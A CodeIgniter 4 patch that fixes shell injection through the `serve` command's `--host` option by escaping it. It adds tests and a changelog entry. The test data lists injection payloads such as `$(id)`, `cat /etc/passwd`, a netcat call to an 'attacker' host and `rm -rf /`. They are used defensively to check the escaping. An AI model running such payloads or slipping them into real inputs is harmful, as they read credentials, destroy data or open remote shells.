From 08f6e949620a6f1c4dc87bf86f2bbf666d874a17 Mon Sep 17 00:00:00 2001 From: "John Paul E. Balandan, CPA" Date: Sat, 16 May 2026 01:39:37 +0800 Subject: [PATCH] fix: escape `--host` option in `serve` command --- system/Commands/Server/Serve.php | 43 +++--- tests/system/Commands/Server/ServeTest.php | 138 ++++++++++++++++++++ user_guide_src/source/changelogs/v4.7.3.rst | 1 + 3 files changed, 163 insertions(+), 19 deletions(-) create mode 100644 tests/system/Commands/Server/ServeTest.php diff --git a/system/Commands/Server/Serve.php b/system/Commands/Server/Serve.php index 594e4e587e27..bbc06b665e62 100644 --- a/system/Commands/Server/Serve.php +++ b/system/Commands/Server/Serve.php @@ -17,11 +17,7 @@ use CodeIgniter\CLI\CLI; /** - * Launch the PHP development server - * - * Not testable, as it throws phpunit for a loop :-/ - * - * @codeCoverageIgnore + * Launch the PHP development server. */ class Serve extends BaseCommand { @@ -86,29 +82,23 @@ class Serve extends BaseCommand ]; /** - * Run the server + * Run the server. + * + * @codeCoverageIgnore */ public function run(array $params) { - // Collect any user-supplied options and apply them. - $php = escapeshellarg(CLI::getOption('php') ?? PHP_BINARY); + $php = CLI::getOption('php') ?? PHP_BINARY; $host = CLI::getOption('host') ?? 'localhost'; $port = (int) (CLI::getOption('port') ?? 8080) + $this->portOffset; - // Get the party started. CLI::write('CodeIgniter development server started on http://' . $host . ':' . $port, 'green'); CLI::write('Press Control-C to stop.'); - // Set the Front Controller path as Document Root. - $docroot = escapeshellarg(FCPATH); - - // Mimic Apache's mod_rewrite functionality with user settings. - $rewrite = escapeshellarg(SYSTEMPATH . 'rewrite.php'); - - // Call PHP's built-in webserver, making sure to set our - // base path to the public folder, and to use the rewrite file - // to ensure our environment is set and it simulates basic mod_rewrite. - passthru($php . ' -S ' . $host . ':' . $port . ' -t ' . $docroot . ' ' . $rewrite, $status); + passthru( + $this->buildServeCommand($php, $host, $port, FCPATH, SYSTEMPATH . 'rewrite.php'), + $status, + ); if ($status !== EXIT_SUCCESS && $this->portOffset < $this->tries) { $this->portOffset++; @@ -116,4 +106,19 @@ public function run(array $params) $this->run($params); } } + + /** + * Builds the shell command passed to PHP's built-in webserver, escaping + * every user-influenced argument so it cannot be interpreted by /bin/sh. + */ + protected function buildServeCommand(string $php, string $host, int $port, string $docroot, string $rewrite): string + { + return sprintf( + '%s -S %s -t %s %s', + escapeshellarg($php), + escapeshellarg($host . ':' . $port), + escapeshellarg($docroot), + escapeshellarg($rewrite), + ); + } } diff --git a/tests/system/Commands/Server/ServeTest.php b/tests/system/Commands/Server/ServeTest.php new file mode 100644 index 000000000000..2771d2b64bd0 --- /dev/null +++ b/tests/system/Commands/Server/ServeTest.php @@ -0,0 +1,138 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\Commands\Server; + +use Closure; +use CodeIgniter\Test\CIUnitTestCase; +use PHPUnit\Framework\Attributes\DataProvider; +use PHPUnit\Framework\Attributes\Group; +use PHPUnit\Framework\Attributes\RequiresOperatingSystem; + +/** + * @internal + */ +#[Group('Others')] +#[RequiresOperatingSystem('^(?!WIN)')] +final class ServeTest extends CIUnitTestCase +{ + /** + * @return Closure(string, string, int, string, string): string + */ + private function buildServeCommand(): Closure + { + /** @var Closure(string, string, int, string, string): string */ + return self::getPrivateMethodInvoker( + new Serve(service('logger'), service('commands')), + 'buildServeCommand', + ); + } + + public function testBuildsExpectedCommandWithDefaultArguments(): void + { + $build = $this->buildServeCommand(); + + $command = $build('/usr/bin/php', 'localhost', 8080, '/srv/public', '/srv/system/rewrite.php'); + + $this->assertSame( + "'/usr/bin/php' -S 'localhost:8080' -t '/srv/public' '/srv/system/rewrite.php'", + $command, + ); + } + + #[DataProvider('provideEscapesMaliciousHosts')] + public function testEscapesMaliciousHosts(string $host, string $expected): void + { + $build = $this->buildServeCommand(); + + $command = $build('/usr/bin/php', $host, 8080, '/srv/public', '/srv/system/rewrite.php'); + + $this->assertSame($expected, $command); + } + + /** + * @return iterable + */ + public static function provideEscapesMaliciousHosts(): iterable + { + yield 'command substitution dollar' => [ + '$(id)', + "'/usr/bin/php' -S '\$(id):8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'command substitution backtick' => [ + '`whoami`', + "'/usr/bin/php' -S '`whoami`:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'shell separator semicolon' => [ + 'localhost;cat /etc/passwd', + "'/usr/bin/php' -S 'localhost;cat /etc/passwd:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'shell separator pipe' => [ + 'localhost|nc attacker 4444', + "'/usr/bin/php' -S 'localhost|nc attacker 4444:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'shell separator ampersand' => [ + 'localhost && rm -rf /', + "'/usr/bin/php' -S 'localhost && rm -rf /:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'redirection' => [ + 'localhost>/tmp/pwn', + "'/usr/bin/php' -S 'localhost>/tmp/pwn:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'embedded single quote' => [ + "a'b", + "'/usr/bin/php' -S 'a'\\''b:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'newline' => [ + "localhost\nmalicious", + "'/usr/bin/php' -S 'localhost\nmalicious:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + } + + public function testEscapesPhpBinaryAndPaths(): void + { + $build = $this->buildServeCommand(); + + $command = $build( + '/path with spaces/php', + 'localhost', + 8080, + '/path with spaces/public', + '/path with spaces/system/rewrite.php', + ); + + $this->assertSame( + "'/path with spaces/php' -S 'localhost:8080' -t '/path with spaces/public' '/path with spaces/system/rewrite.php'", + $command, + ); + } + + public function testHonoursAdjustedPortValue(): void + { + $build = $this->buildServeCommand(); + + $command = $build('/usr/bin/php', 'localhost', 8082, '/srv/public', '/srv/system/rewrite.php'); + + $this->assertSame( + "'/usr/bin/php' -S 'localhost:8082' -t '/srv/public' '/srv/system/rewrite.php'", + $command, + ); + } +} diff --git a/user_guide_src/source/changelogs/v4.7.3.rst b/user_guide_src/source/changelogs/v4.7.3.rst index 6625c7ac7e5a..70d803759e63 100644 --- a/user_guide_src/source/changelogs/v4.7.3.rst +++ b/user_guide_src/source/changelogs/v4.7.3.rst @@ -41,6 +41,7 @@ Bugs Fixed - **CLI:** Fixed a bug where ``CLI::generateDimensions()`` leaked ``tput`` error output (``tput: No value for $TERM and no -T specified``) to stderr when the ``stty`` fallback was reached and the ``TERM`` environment variable was not set. - **Commands:** Fixed a bug in the ``env`` command where passing options only would cause the command to throw a ``TypeError`` instead of showing the current environment. - **Commands:** Fixed a bug in ``key:generate`` command where the regex used to locate the ``encryption.key`` line was fooled by a comment containing the substring (silently writing nothing), and did not handle DotEnv's ``export encryption.key = ...`` syntax. +- **Commands:** Fixed a bug in the ``serve`` command where the ``--host`` option was concatenated into the ``passthru()`` call without ``escapeshellarg()``, letting shell metacharacters in the locally-supplied argument be interpreted by ``/bin/sh``. - **Common:** Fixed a bug where the ``command()`` helper function did not properly clean up output buffers, which could lead to risky tests when exceptions were thrown. - **Database:** Fixed a bug where ``BaseConnection::listTables()`` could return a sparse array when using cached table names after a table was dropped. - **Database:** Fixed a bug where the PostgreSQL driver's ``increment()`` and ``decrement()`` methods were not working for numeric columns.